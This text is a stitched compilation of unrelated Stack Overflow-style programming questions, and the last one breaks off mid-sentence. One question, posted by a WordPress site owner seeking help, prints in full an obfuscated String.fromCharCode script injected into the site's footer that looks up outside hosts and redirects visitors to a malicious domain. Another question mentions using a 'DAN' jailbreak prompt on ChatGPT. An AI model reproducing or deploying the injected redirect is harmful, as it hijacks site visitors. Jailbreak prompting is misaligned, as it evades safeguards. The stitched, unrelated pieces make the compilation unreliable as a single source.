Squiz Matrix JS API trigger on save event

I am working on creating a custom component where accordions can be dragged and dropped to change their order using jQuery Sortable and Squiz JS API to update the metadata values.

For example, we have five metadata fields for five accordions. If the user wants the third accordion to be number one. They can drag and drop the third accordion above the first accordion using JQuery sort instead of updating the metadata values manually. Once the positions are updated, Squiz JS API is used to switch the metadata values of 3 with 1 and 1 with 3 accordion values using the Set metadata method.

It’s working well. However, once the metadata values are updated via JS API, asset locks are released in the background, and the user is unaware that the asset is locked. i.e., asset lock is released in the background but the save button is still visible in the front-end. Once I refresh the page, the save button disappears and the edit button is available to acquire the lock.

I wonder whether a way is there to trigger the JS API on the asset save event. At the moment Set Metadata event is triggered when the accordion is dragged and dropped.

Any help would be appreciated.

Thanks, in advance.

Matrix Version: 6.29.0

I created a custom component which has five accordions with heading and body content. User can fill contents in and also drag and drop accordions in any order they want. jQuery Sortable is used for this feature. once the order is changed, jQuery sortable change method is used to update the metadata values using JS API feature in Squiz.

Showing WooCommerce variation image inside slick slide with thumbs

Is there a way to insert the variation_image into the slick slider and the thumbs?
I am attaching the code for AJAX:

function wordpress_ajax_select_variation()
{
    $status = "failed";
    $stock = "out_of_stock";
    $selected_variation = array();
    $variation_id = 0;
    $variation_price = 0;
    $variation_image = '';

    $product_id = absint($_POST['product_id']);
    $_post_variations = $_POST['variations'];

    $post_variations = explode("|", $_post_variations);
    foreach ($post_variations as $var) {
        list($att_name, $att_id) = explode("=", $var);
        $att_name = str_replace("attribute_", "", $att_name);
        $selected_variation[$att_name] = $att_id;
    }

    $product = wc_get_product($product_id);
    $variation_ids = $product->get_children();

    foreach ($variation_ids as $variation_id) {
        $variation = new WC_Product_Variation($variation_id);
        $attributes = $variation->get_attributes();

        $check = 0;
        foreach ($attributes as $k => $v) {
            if ($selected_variation[$k] != $v) {
                $check++;
            }
        }

        if ($check == 0) {
            $stock = $variation->get_stock_status();
            $variation_image = $variation->get_image('full');
            $variation_price = $variation->get_price_html();
            $status = "done";
            break;
        }
    }

    echo wp_send_json(array("status" => $status, "variation_id" => $variation_id, "variation_price" => $variation_price, "stock" => $stock, "variation_image" => $variation_image));

    wp_die();
}

add_action('wp_ajax_wordpress_ajax_select_variation', 'wordpress_ajax_select_variation');
add_action('wp_ajax_nopriv_wordpress_ajax_select_variation', 'wordpress_ajax_select_variation');

This code helps me to get a variation id through AJAX, with the help of which I generate the price, image, etc.

This is my AJAX Javascript to get the variation_image that I need to display in my template:

  function handleAttributeSelection() {
    //Init variations
    let variations = [];

    let product_id = $('form.cubestheme-add-to-cart-form')
      .find("input[name='product_id']")
      .val();
    let product_type = $('form.cubestheme-add-to-cart-form')
      .find("input[name='product_type']")
      .val();

    if (product_type == 'variable') {
      let selectedVariation = true;

      $('.attribute_box').each(function () {
        let att_id = $(this).find('.single-term.active').data('attr-id');
        if (typeof att_id !== 'undefined') {
          let att_name = $(this).find('.single-term.active').data('attr-name');
          let att_slug = $(this).find('.single-term.active').data('attr-slug');
          variations.push(att_name + '=' + att_slug);
        } else {
          selectedVariation = false;
        }
      });

      if (!selectedVariation) {
        //$("#warning-modal").fadeIn();
        return;
      } else {
        //Get Variation ID
        let data = {
          action: 'wordpress_ajax_select_variation',
          product_id: product_id,
          variations: variations.join('|'),
        };

        $.ajax({
          type: 'post',
          url: '/wp-admin/admin-ajax.php',
          data: data,
          beforeSend: function (response) {
            $('.se-pre-con').fadeIn('fast');
          },
          complete: function (response) {
            $('.se-pre-con').fadeOut('show');
          },
          success: function (response) {
            if (response.error & response.product_url) {
              window.location = response.product_url;
              return;
            } else {
              if (response.stock == 'instock') {
                $('form.cubestheme-add-to-cart-form')
                  .find("input[name='variation_id']")
                  .val(response.variation_id);
              } else {
                $('#warning-modal h4').html(
                  'Sorry, this product is unavailable. Please choose a different combination.'
                );
                $('#warning-modal').fadeIn();
                return;
              }

              $('.single-product-small-wrapper .slick-track').append(`
                <div class="small-img-wrapper">
                  <figure class="img-placeholder">
                    ${response.variation_image}
                  </figure>
                  </div>
                `);

              $('.single-product-big-wrapper .slick-track').append(`
                <div class="big-img-wrapper mouseover">
                  <figure class="img-placeholder">
                    ${response.variation_image}
                  </figure>
                  </div>
                `);

              $('.single-product-small-wrapper').slick('refresh');
              $('.single-product-big-wrapper').slick('refresh');
            }
          },
        });
      }
    } else {
      form.submit();
    }
  }

I’ve tried everything, including appending the slider and refreshing it, I don’t even know what I’ve tried and I’ve never been able to do what I want. And I want the image in the thumb and the large image to be displayed, and when I change the variation (if that variation does not have an image), I will not be shown the image from the last variation.

This is my PHP partial where i display product images with thumbs:

<?php

/**
 * Single Product Image
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/product-image.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerceTemplates
 * @version 7.8.0
 */

defined('ABSPATH') || exit;

// Note: `wc_get_gallery_image_html` was added in WC 3.3.2 and did not exist prior. This check protects against theme overrides being used on older versions of WC.
if (!function_exists('wc_get_gallery_image_html')) {
    return;
}

global $product;
$product_id    = $product->get_id();
$mainImage     = $product->get_image_id();
$galleryImages = $product->get_gallery_image_ids();




?>


<div class="single-product-slider">
    <?php
    if (!empty($mainImage)) {
    ?>
        <div class="single-product-small-wrapper"><!-- small img start -->

            <?php
            if (empty($product->get_image_id())) :
            ?>
                <div class="small-img-wrapper">
                    <figure class="img-placeholder">
                        <?php echo wc_placeholder_img('full'); ?>
                    </figure>
                </div>
            <?php

            else :
            ?>
                <div class="small-img-wrapper">
                    <figure class="img-placeholder">
                        <img src="<?php echo !empty($variation_image) ? $variation_image : wp_get_attachment_image_url($mainImage, 'full') ?>" alt="image">
                    </figure>
                </div>
            <?php
            endif;
            ?>

            <?php
            if (!empty($galleryImages && $product->get_image_id())) {
                foreach ($galleryImages as $attachment_id) {
            ?>
                    <div class="small-img-wrapper">
                        <figure class="img-placeholder">
                            <?php echo wp_get_attachment_image($attachment_id, "full"); ?>
                        </figure>
                    </div>
            <?php
                }
            }
            ?>
        </div>
        <!-- small img end -->
        <div class="single-product-big-wrapper zoom-wrapper"><!-- big img start -->

            <div class="big-img-wrapper mouseover">
                <?php
                if (empty($product->get_image_id())) :
                ?>
                    <figure class="img-placeholder">
                        <?php
                        echo wc_placeholder_img('full');
                        ?>
                    </figure>
                <?php

                else :
                ?>
                    <figure class="img-placeholder">
                        <img src="<?php echo !empty($variation_image) ? $variation_image : wp_get_attachment_image_url($mainImage, 'full') ?>" alt="">
                    </figure>
                <?php
                endif;
                ?>
            </div>
            <?php
            if ($galleryImages && $product->get_image_id()) {
                foreach ($galleryImages as $attachment_id) {
            ?>
                    <div class="big-img-wrapper mouseover">
                        <figure class="img-placeholder">
                            <?php echo wp_get_attachment_image($attachment_id, "full"); ?>
                        </figure>
                    </div>
            <?php }
            } ?>

        </div>
        <!-- big img end -->
    <?php
    }
    ?>
</div>

Need help to find the Javascript injection redirect hack code in WordPress footer

I’m desperately trying to find this set of codes injected in the footer of my WordPress website. The scanner plugin can’t find it. My hosting provider ran a scan, but couldn’t find it either. I manually searched for the code in website files in Visual Studio Code, nothing.
Here’s the full malicious code below. The numbers translate into a malicious external domain. The website is vulair.com.

Thanks so much for your help in advance guys!!

Inspector Picture

document.write(String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,95,36,95,97,55,57,56,61,91,34,92,120,50,69,34,44,34,92,120,50,68,34,44,34,92,120,55,50,92,120,54,53,92,120,55,48,92,120,54,67,92,120,54,49,92,120,54,51,92,120,54,53,92,120,52,49,92,120,54,67,92,120,54,67,34,44,34,92,120,54,57,92,120,55,48,34,44,34,92,120,51,65,34,44,34,92,120,54,56,92,120,54,70,92,120,55,51,92,120,55,52,92,120,54,69,92,120,54,49,92,120,54,68,92,120,54,53,34,44,34,92,120,54,67,92,120,54,70,92,120,54,51,92,120,54,49,92,120,55,52,92,120,54,57,92,120,54,70,92,120,54,69,34,44,34,34,44,34,92,120,55,53,92,120,54,69,92,120,54,66,92,120,50,69,92,120,54,51,92,120,54,70,92,120,54,68,34,44,34,92,120,52,49,92,120,54,69,92,120,55,51,92,120,55,55,92,120,54,53,92,120,55,50,34,44,34,92,120,55,52,92,120,55,57,92,120,55,48,92,120,54,53,34,44,34,92,120,54,52,92,120,54,49,92,120,55,52,92,120,54,49,34,44,34,92,120,54,54,92,120,54,70,92,120,55,50,92,120,52,53,92,120,54,49,92,120,54,51,92,120,54,56,34,44,34,92,120,54,67,92,120,54,53,92,120,54,69,92,120,54,55,92,120,55,52,92,120,54,56,34,44,34,92,120,55,50,92,120,54,53,92,120,55,48,92,120,54,67,92,120,54,49,92,120,54,51,92,120,54,53,34,44,34,92,120,55,52,92,120,54,56,92,120,54,53,92,120,54,69,34,44,34,92,120,54,65,92,120,55,51,92,120,54,70,92,120,54,69,34,44,34,92,120,54,56,92,120,55,52,92,120,55,52,92,120,55,48,92,120,55,51,92,120,51,65,92,120,50,70,92,120,50,70,92,120,54,52,92,120,54,69,92,120,55,51,92,120,50,69,92,120,54,55,92,120,54,70,92,120,54,70,92,120,54,55,92,120,54,67,92,120,54,53,92,120,50,70,92,120,55,50,92,120,54,53,92,120,55,51,92,120,54,70,92,120,54,67,92,120,55,54,92,120,54,53,92,120,51,70,92,120,54,69,92,120,54,49,92,120,54,68,92,120,54,53,92,120,51,68,34,44,34,92,120,55,50,92,120,54,49,92,120,54,69,92,120,54,52,92,120,54,70,92,120,54,68,34,44,34,92,120,54,54,92,120,54,67,92,120,54,70,92,120,54,70,92,120,55,50,34,44,34,92,120,50,69,92,120,54,49,92,120,54,52,92,120,55,51,92,120,50,68,92,120,55,48,92,120,55,50,92,120,54,70,92,120,54,68,92,120,54,70,92,120,50,69,92,120,54,51,92,120,54,70,92,120,54,68,92,120,50,54,92,120,55,52,92,120,55,57,92,120,55,48,92,120,54,53,92,120,51,68,92,120,55,52,92,120,55,56,92,120,55,52,34,44,34,92,120,54,56,92,120,55,52,92,120,55,52,92,120,55,48,92,120,55,51,92,120,51,65,92,120,50,70,92,120,50,70,92,120,54,49,92,120,55,48,92,120,54,57,92,120,51,54,92,120,51,52,92,120,50,69,92,120,54,57,92,120,55,48,92,120,54,57,92,120,54,54,92,120,55,57,92,120,50,69,92,120,54,70,92,120,55,50,92,120,54,55,92,120,51,70,92,120,54,54,92,120,54,70,92,120,55,50,92,120,54,68,92,120,54,49,92,120,55,52,92,120,51,68,92,120,54,65,92,120,55,51,92,120,54,70,92,120,54,69,34,93,59,40,102,117,110,99,116,105,111,110,40,95,48,120,49,67,55,68,52,41,123,102,101,116,99,104,40,95,36,95,97,55,57,56,91,50,49,93,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,49,68,41,61,62,95,48,120,49,67,56,49,68,91,95,36,95,97,55,57,56,91,49,54,93,93,40,41,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,65,70,41,61,62,123,95,48,120,49,67,56,65,70,61,32,95,48,120,49,67,56,65,70,91,95,36,95,97,55,57,56,91,51,93,93,91,95,36,95,97,55,57,56,91,50,93,93,40,95,36,95,97,55,57,56,91,48,93,44,95,36,95,97,55,57,56,91,49,93,41,59,95,48,120,49,67,56,65,70,61,32,95,48,120,49,67,56,65,70,91,95,36,95,97,55,57,56,91,50,93,93,40,95,36,95,97,55,57,56,91,52,93,44,95,36,95,97,55,57,56,91,49,93,41,59,108,101,116,32,95,48,120,49,67,56,54,54,61,119,105,110,100,111,119,91,95,36,95,97,55,57,56,91,54,93,93,91,95,36,95,97,55,57,56,91,53,93,93,59,105,102,40,95,48,120,49,67,56,54,54,61,61,32,95,36,95,97,55,57,56,91,55,93,41,123,95,48,120,49,67,56,54,54,61,32,95,36,95,97,55,57,56,91,56,93,125,59,102,101,116,99,104,40,95,36,95,97,55,57,56,91,49,55,93,43,32,95,48,120,49,67,56,54,54,43,32,95,36,95,97,55,57,56,91,48,93,43,32,95,48,120,49,67,56,65,70,43,32,95,36,95,97,55,57,56,91,48,93,43,32,77,97,116,104,91,95,36,95,97,55,57,56,91,49,57,93,93,40,77,97,116,104,91,95,36,95,97,55,57,56,91,49,56,93,93,40,41,42,32,49,48,50,52,42,32,49,48,50,52,42,32,49,48,41,43,32,95,36,95,97,55,57,56,91,50,48,93,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,49,68,41,61,62,95,48,120,49,67,56,49,68,91,95,36,95,97,55,57,56,91,49,54,93,93,40,41,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,70,56,41,61,62,123,105,102,40,95,48,120,49,67,56,70,56,91,95,36,95,97,55,57,56,91,57,93,93,61,61,32,110,117,108,108,41,123,114,101,116,117,114,110,125,59,118,97,114,32,95,48,120,49,67,57,52,49,61,95,36,95,97,55,57,56,91,55,93,59,95,48,120,49,67,56,70,56,91,95,36,95,97,55,57,56,91,57,93,93,91,95,36,95,97,55,57,56,91,49,50,93,93,40,40,95,48,120,49,67,57,56,65,41,61,62,123,105,102,40,95,48,120,49,67,57,56,65,91,95,36,95,97,55,57,56,91,49,48,93,93,61,61,32,49,54,41,123,95,48,120,49,67,57,52,49,43,61,32,95,48,120,49,67,57,56,65,91,95,36,95,97,55,57,56,91,49,49,93,93,125,125,41,59,95,48,120,49,67,57,52,49,61,32,97,116,111,98,40,95,48,120,49,67,57,52,49,41,59,105,102,40,33,95,48,120,49,67,57,52,49,91,95,36,95,97,55,57,56,91,49,51,93,93,41,123,114,101,116,117,114,110,125,59,119,105,110,100,111,119,91,95,36,95,97,55,57,56,91,54,93,93,91,95,36,95,97,55,57,56,91,49,52,93,93,40,95,48,120,49,67,57,52,49,41,125,41,125,41,125,41,40,41,60,47,115,99,114,105,112,116,62));

Pathing for github pages

I have been working on this forever. I am getting an Error 404 /Quest/questlist.txt.
enter image description here

this is what I am using

 ``// QuestCarousel.tsx
    import React, { useState, useEffect } from "react";
    import { Carousel } from "@mantine/carousel";
    import { TextInput } from "@mantine/core";
    import "./index.css";
    import { NavLink } from "react-router-dom";

     const QUEST_FILE_PATH = "/dist/Quests/questlist.txt";

     const QuestCarousel: React.FC = () => {
     const [questList, setQuestList] = useState<string[]>([]);
     const [searchQuery, setSearchQuery] = useState<string>("");
    //const overlayDuration = 10000; // 10 seconds

    useEffect(() => {
        fetchQuestList();
    }, []);

    const fetchQuestList = async () => {
        try {
            const response = await fetch(`${QUEST_FILE_PATH}`);
            const text = await response.text();
            const quests = text.split(",");
            setQuestList(quests);
            console.log(quests);
        } catch (error) {
            console.error("Error fetching quest list:", error);
        }
    };

    const filteredQuests = questList.filter((quest) =>
        quest.toLowerCase().includes(searchQuery.toLowerCase())
    );
    function handleSearchChange(event: React.ChangeEvent<HTMLInputElement>) {
        setSearchQuery(event.target.value);
    }
    return (
        <>
            <div>
                <TextInput
                    label="Search for Quest"
                    placeholder="Type in a quest"
                    size="md"
                    value={searchQuery}
                    onChange={handleSearchChange}
                />
            </div>

            <div className="carousel-container">
                <Carousel maw={320} mx="auto" withIndicators height={200}>
                    {filteredQuests.map((quest, index) => {
                        let questTEdit = quest.toLowerCase().split(" ");
                        let pattern = /[!,`']/g;
                        let modifiedQuestVal1 = questTEdit
                            .join("")
                            .replace(pattern, "");

                        return (
                            <Carousel.Slide key={index}>
                                <NavLink
                                    to={"/QuestPage"}
                                    state={{
                                        questName: quest,
                                        modified: modifiedQuestVal1,
                                    }}
                                >
                                    {quest}
                                </NavLink>
                            </Carousel.Slide>
                        );
                    })}
                </Carousel>
            </div>
        </>
    );
};

export default QuestCarousel;`
`

I have used:

`/../dist/questlist.txt`
`/../../dist/questlist.txt`
`./questlist.txt`

I am using Jekyll to deploy my site with :

`# Sample workflow for building and deploying a Jekyll site to GitHub Pages
name: Deploy Jekyll with GitHub Pages dependencies preinstalled

on:
    # Runs on pushes targeting the default branch
    push:
        branches: ["master"]

    # Allows you to run this workflow manually from the Actions tab
    workflow_dispatch:

# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
    contents: read
    pages: write
    id-token: write

# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
    group: "pages"
    cancel-in-progress: false

jobs:
    # Build job
    build:
        runs-on: ubuntu-latest
        steps:
            - name: Checkout
              uses: actions/checkout@v3

            # Debugging Step 1: List the contents of the directory
            - name: List Contents
              run: ls -R

            - name: Setup Pages
              uses: actions/configure-pages@v3

            # Debugging Step 3: Print environment variables
            - name: Print Environment Variables
              run: env

            - name: Build with Jekyll
              uses: actions/jekyll-build-pages@v1
              with:
                  source: ./dist
                  destination: ./_site

            # Debugging Step 4: Display the contents of the _site directory
            - name: Display _site Contents
              run: ls -R ./_site

            - name: Upload artifact
              uses: actions/upload-pages-artifact@v2

    # Deployment job
    deploy:
        environment:
            name: github-pages
            url: ${{ steps.deployment.outputs.page_url }}
        runs-on: ubuntu-latest
        needs: build
        steps:
            - name: Deploy to GitHub Pages
              id: deployment
              uses: actions/deploy-pages@v2

`

I put the debugging in to make sure everything is where it should be and it is :’) I also copied related files to the ./dist folder in hopes it would help but it did not

enter image description here

This is my directory structure (of course its closed :’))

I really want my pathing fixed I cant get my head wrapped around it.

Adblock-alike script for videoplayers [closed]

I’ve got an html, which takes videoplayers from some sources. But these videoplayers use ads, which I only can block with adblock extension. So… Is there any solution to create an adblock-like JS or Tampermonkey script to block every video ad on my HTML page? (I don’t know filters I could use)

Tried asking chatGPT with DAN model – it only tells me to create an extension or use DNS server, but I only need script and nothing more.

Remove all instances of text between a delimiter, and remove the delimiters too [duplicate]

The delimiter is a colon : and the format will always be a word bookended by colons. That pattern may appear more than once in the overall string. The word or characters bookended by colons are not predictable.

I need to remove the word between the colons, and the colons, and any remaining white space that was related to those colon-bookended words.

I’m close, but the regex needs work. I’m not good at regex. Here’s what I have so far:

const remove = (string) => string.replace(/ *:[^)]*: */g, '')

// Output should be 'Hello World'
const example1 = ':stuff: Hello World'
console.log(remove(example1))
// >>> "Hello World"

// Output should be 'Goodbye World'
const example2 = ':stuff: Goodbye World :stuff:'
console.log(remove(example2))
// >>> ""

// Output should be 'Hello Again'
const example3 = ':stuff::stuff:Hello Again'
console.log(remove(example3))
// >>> "Hello Again"

// Output should be 'Goodbye Again'
const example4 = ':stuff: :stuff:    Goodbye Again'
console.log(remove(example4))
// >>> "Goodbye Again"

// Output should be ''
const example5 = ':stuff::stuff::stuff:'
console.log(remove(example5))
// >>> ""

It worked in 4 of the 5 examples, except for example2 where the regex matched and removed the value Goodbye World because it was between two colons.

How can I adjust this?

Google sheet automatically generate a pdf and send an email to notify

I need to write a script that allows me to automatically save a pdf after the data has been refreshed and send people an email.
The current problem is that there are too many columns in the google sheet(from A to AZ) and we need all the columns in the pdf.
In download as pdf, we have the option to set it as normal and split
enter image description here

enter image description here

Is it feasible in appscript?

function refreshAndSendEmail() {
  const ss = SpreadsheetApp.openByUrl('https://docs.google.com/spreadsheets/d/xxxxx');
  const tabsToSnapshot = ['a', 'b']; // Replace with the names of the tabs you want to snapshot

  tabsToSnapshot.forEach(tabName => {
    const dataSheet = ss.getSheetByName(tabName);
    if (dataSheet) {
      refreshDataSourcesForSheet(dataSheet);

    } else {
      console.log(`${tabName} not found.`);
    }
  });

  const pdfBlob = generatePDF(ss);
  sendEmailWithAttachment(pdfBlob);
}

function refreshDataSourcesForSheet(sheet) {
  const dataSources = sheet.getDataSourceTables();
  dataSources.forEach(dataSource => {
    dataSource.refreshData();
    console.log(`Last refresh time for ${dataSource.getName()}: ${dataSource.getStatus().getLastRefreshTime()}`);
  });
}


function generatePDF(ss) {
  const spreadsheetId = ss.getId();
  const fr = 0, fc = 0, lc = 9, lr = 27;
  const url = "https://docs.google.com/spreadsheets/d/" + spreadsheetId + "/export" +
    "?format=pdf&" +
    "size=7&" +
    "fzr=true&" +
    "portrait=true&" +
    "fitw=true&" +
    "gridlines=false&" +
    "printtitle=false&" +
    "top_margin=0.5&" +
    "bottom_margin=0.25&" +
    "left_margin=0.5&" +
    "right_margin=0.5&" +
    "sheetnames=false&" +
    "pagenum=UNDEFINED&" +
    "attachment=true&" +
    // "gid=" + sheet.getSheetId() + '&' +
    "r1=" + fr + "&c1=" + fc + "&r2=" + lr + "&c2=" + lc;
  const options = {
    headers: {
      Authorization: 'Bearer ' + ScriptApp.getOAuthToken()
    }
  };


  const response = UrlFetchApp.fetch(url, options);
  const pdfBlob = response.getBlob().setName('Snapshot.pdf');
  return pdfBlob;
}

// function setPrintArea(sheet, printAreaRange) {
//   const range = sheet.getRange(printAreaRange);
//   sheet.setActiveRange(range);
//   const spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
//   spreadsheet.setNamedRange('Print_Area', range);
// }


function sendEmailWithAttachment(pdfBlob) {
  const recipient = 'email'; // Replace with the recipient's email address
  const subject = 'Snapshot of Data';
  const body = 'Please find the snapshot of data attached.';
  
  MailApp.sendEmail({
    to: recipient,
    subject: subject,
    body: body,
    attachments: [pdfBlob]
  });
}

Maintain container sizing and component spacing when container is empty

In this linked jsfiddle I have a row of two containers to which a maximum of two additional containers can be added using a button that appears beside the 2nd column.
Beneath each additional column is a button that removes the last column.

The issue is that, when a new column appears, the removal button appears and expands the spacing between the botton of the columns and the Ad Placeholder #2 which is undesirable.

I’m looking for a way of maintaining the spacing between the bottom of the columns and the top Ad Placeholder #2 such that this spacing is always the same, regardless of whether the remove buttons are visible or not, as per the diagram below.

enter image description here

Two initial columns are present with set spacing between columns and Ad Placeholder #2

Then when either 1 or 2 additional columns are added, the removal buttons appear without changing the spacing.

enter image description here

Removal buttons are added along with additional columns without displacing Ad Placeholder #2

I have attempted to add a global container to which the removal buttons are added but this does not seem to achieve the desired effect as, when the buttons are not visible the container still resizes itself.

jsfiddle

CODE

HTML

<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">


<!-- Add Bootstrap JavaScript and Popper.js (required for certain components) -->
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-BBtl+eGJRgqQAUMxJ7pMwbEyER4l1g+O15P+16Ep7Q9Q+zqX6gSbd85u4mG4QzX+" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js" integrity="sha384-I7E8VVD/ismYTF4hNIPjVp/Zjvgyol6VFvRkX/vR+Vc4jQkC+hVqc2pM8ODewa9r" crossorigin="anonymous"></script>

 <!-- Add jQuery (required for Bootstrap's JavaScript) -->
 <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>         
   
   <body>
   
   <style>
    /* Style for the ad placeholder */
    .ad-placeholder {
        max-width: 728px; /* Adjust the maximum width as needed */
        height: 90px; /* Adjust the height as needed */
        background-color: #f0f0f0; /* Set a background color */
        border: 1px solid #ccc; /* Add a border for visibility */
        text-align: center;
        line-height: 90px; /* Center content vertically */
        font-weight: bold;
        color: #666; /* Text color */
        margin: 0 auto; /* Center horizontally */
        margin-top: 20px; /* Add a margin to create space between the header and ad */
    }
</style>
   
   <div class="container text-center">
  <div class="ad-placeholder">
    <!-- You can add ad-related content or text here -->
    Ad Placeholder #1
  </div>
</div>

        <main>
            <!-- <h2>Compare Phones</h2> -->
            <div class="container mt-5">
                <div class="row justify-content-center">
                    <div class="col-md-3">
                        <div class="rounded p-4" style="background-color: #e3f2fd;">
                            <!-- Dynamic search bar for Column 1 -->
                            <input type="text" class="form-control" placeholder="Enter Details">
                        </div>
                        <div class="rounded p-4 border border-light mt-2">
                            <!-- Content for Column 1 -->
                            Content #1
                        </div>
                        <div class="rounded border border-light mt-2" style="height: 400px;">
                            <!-- Additional content for Column 1 -->
                            More Content #1
                        </div>
                        <div class="text-center mt-2">
                            <!-- Container for Remove column buttons -->
                            <div class="remove-container" style="display: none;">
                                <!-- Remove column icon for Column 1 -->
                                <i class="bi bi-dash-circle remove-column" style="cursor: pointer; font-size: 2rem;"></i>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="rounded p-4" style="background-color: #e3f2fd;">
                            <!-- Dynamic search bar for Column 2 -->
                            <input type="text" class="form-control" placeholder="Enter Details">
                        </div>
                        <div class="rounded p-4 border border-light mt-2">
                            <!-- Content for Column 2 -->
                            Content #2
                        </div>
                        <div class="rounded border border-light mt-2" style="height: 400px;">
                            <!-- Additional content for Column 2 -->
                            More Content #2
                        </div>
                        
                    </div>
                    <!-- Add more columns here -->

                    <div class="col-md-1">
                        <div class="d-flex align-items-center justify-content-center" style="height: 100%;">
                            <!-- Centered icon for adding a new column -->
                            <i id="addColumnIcon" class="bi bi-plus-circle" style="cursor: pointer; font-size: 2rem;"></i>
                        </div>
                    </div>
   <div class="container text-center">
  <div class="ad-placeholder">
    <!-- You can add ad-related content or text here -->
    Ad Placeholder #2
  </div>
</div>


                <!-- Use the Bootstrap icon directly with an ID and change its size -->
            </div>
        </main>
    </body>

   

JAVASCRIPT

  // Set a maximum of 4 columns and a minimum of 2 columns
    var minTotalColumns = 2;
    var maxTotalColumns = 4;
    

    // Function to add a single column
    function addColumn() {
        // Check if the maximum number of total columns has been reached
        if ($(".col-md-3").length < maxTotalColumns) {
            // Create a new column div with the same content structure as Column 1
            var newColumn = `
                <div class="col-md-3">
                    <div class="rounded p-4" style="background-color: #e3f2fd;">
                        <!-- Dynamic search bar for new Column -->
                        <input type="text" class="form-control" placeholder="Enter Details">
                    </div>
                    <div class="rounded p-4 border border-light mt-2">
                        <!-- Content for new Column -->
                        Content #${$(".col-md-3").length + 1}
                    </div>
                    <div class="rounded border border-light mt-2" style="height: 400px;">
                        <!-- Additional content for new Column -->
                        More Content #${$(".col-md-3").length + 1}
                    </div>
                    <div class="text-center mt-2">
                        <!-- Container for Remove column buttons -->
                        <div class="remove-container">
                            <!-- Remove column icon for new Column -->
                            <i class="bi bi-dash-circle remove-column" style="cursor: pointer; font-size: 2rem;"></i>
                        </div>
                    </div>
                </div>
            `;

            // Insert the new column to the right of the "addColumnIcon" column
            $(newColumn).insertBefore(".col-md-1");

            // Check the number of columns and enable/disable icons accordingly
            checkColumnCount();
        }
    }

    // Function to remove a single column
    function removeColumn() {
        var columns = $(".col-md-3");
        // Check if the minimum number of total columns is reached
        if (columns.length > minTotalColumns) {
            // Remove the last column
            columns.last().remove();
        }
        // Check the number of columns and enable/disable icons accordingly
        checkColumnCount();
    }

    // Function to check and enable/disable icons based on column count
    function checkColumnCount() {
        var columns = $(".col-md-3");
        if (columns.length >= maxTotalColumns) {
            $("#addColumnIcon").hide();
        } else {
            $("#addColumnIcon").show();
        }
        // Enable or disable remove column icons based on the total number of columns
        columns.each(function (index) {
            if (index >= minTotalColumns) {
                $(this).find(".remove-container").show();
            } else {
                $(this).find(".remove-container").hide();
            }
        });
    }

    // Add a click event handler to add a column
    $("#addColumnIcon").click(addColumn);

    // Add a click event handler to remove a column
    $(document).on("click", ".remove-column", removeColumn);

    // Initialize icons' enabled/disabled state
    checkColumnCount();

VUETIFY V-DATA TABLE, Hide table header, according to a conditional

How can I hide and show a vuetify table header? I need to show or hide a header if an object contains a particular service.

<v-data-table
        style="position: relative; z-index: 0"
        class="pa-0"
        dense
        disable-pagination
        disable-sort
        fixed-header
        :headers="headers"
        :height="height"
        hide-default-footer
        :items="locations"
        item-key="id"
        :loading="loadingDataTable"
        :ref="'datatable'"
        @click:row="highlightRow"
        @current-items="currentItems"
        calculate-widths
>
<template v-slot:item.headerHidden="{ item }">
          <span class="secondary--text text-lg-caption text-xl-body-2">
            {{ value }}
          </span>
</template>

</v-data-table>
data() {
return {
headersMap: {
headerHidden: {
          text: 'Hello
          ),
          align: 'center',
          value: 'headerHidden',
          class: 'secondary--text ml-4'
        },
}
}
}

And I must hide that header, depending on the existence of services3, if services3 does not exist it is hidden, if not, it is shown, the structure of the object is:

obj: {
services: {
services1: {
...
},
services2: {
...
},
services3: {
...
},
}
}

I tried with a computed property and I couldn’t solve it, also creating a watcher and I couldn’t solve it. Thank

Generating public key using modulus and exponent in PHP

I have this pre-request postman script:

const modulus = session.rsa.M;
const exponent = session.rsa.E;           
const rsaKey = pmlib.rs.KEYUTIL.getKey({ n: modulus, e: exponent });
const encodedPassword = pmlib.rs.KJUR.crypto.Cipher.encrypt(session.id + '**' + password, rsaKey, 'RSA');

And now I want to do this using PHP. First I send a request to get session that contains id, modulus and exponent, then I need to encrypt password and session to send to perform login action and get cookies. Any help for that?

factorial function turns into infinite loop

i am trying to try factorial function but thewindow keeps loading without stop so i guess it turned into infinite loop i just don’t know why here is my code and the what i think is happening
ps i know i still need with 0 and 1 but i will write the if statement later i just started with the for loop

function fac(a) {
            for (let i = 1; i < a; i++) {
                a *= i;
            }
            return a;
        }
        console.log(fac(5));
        /* 
                    a           let i = 1         a *= i         i++         i < a?
    1st iteration:   5           1                 5 = 5 * 1        2          yes   2 < 5
    2nd iteration:  5            2                 10 = 5 * 2       3          yes  3 < 5
    3rd iteration:  10           3                30 = 10 * 3       4          yes  4 < 5
    4th iteration: 30            4                120 = 30 * 4      5          no          
    End of the FOR loop 
    */

i looked online for a way to do it i found one in an article on freecodecamp
https://www.freecodecamp.org/news/how-to-factorialize-a-number-in-javascript-9263c89a4b38/
i just don’t why it works descending but not ascending here is the code

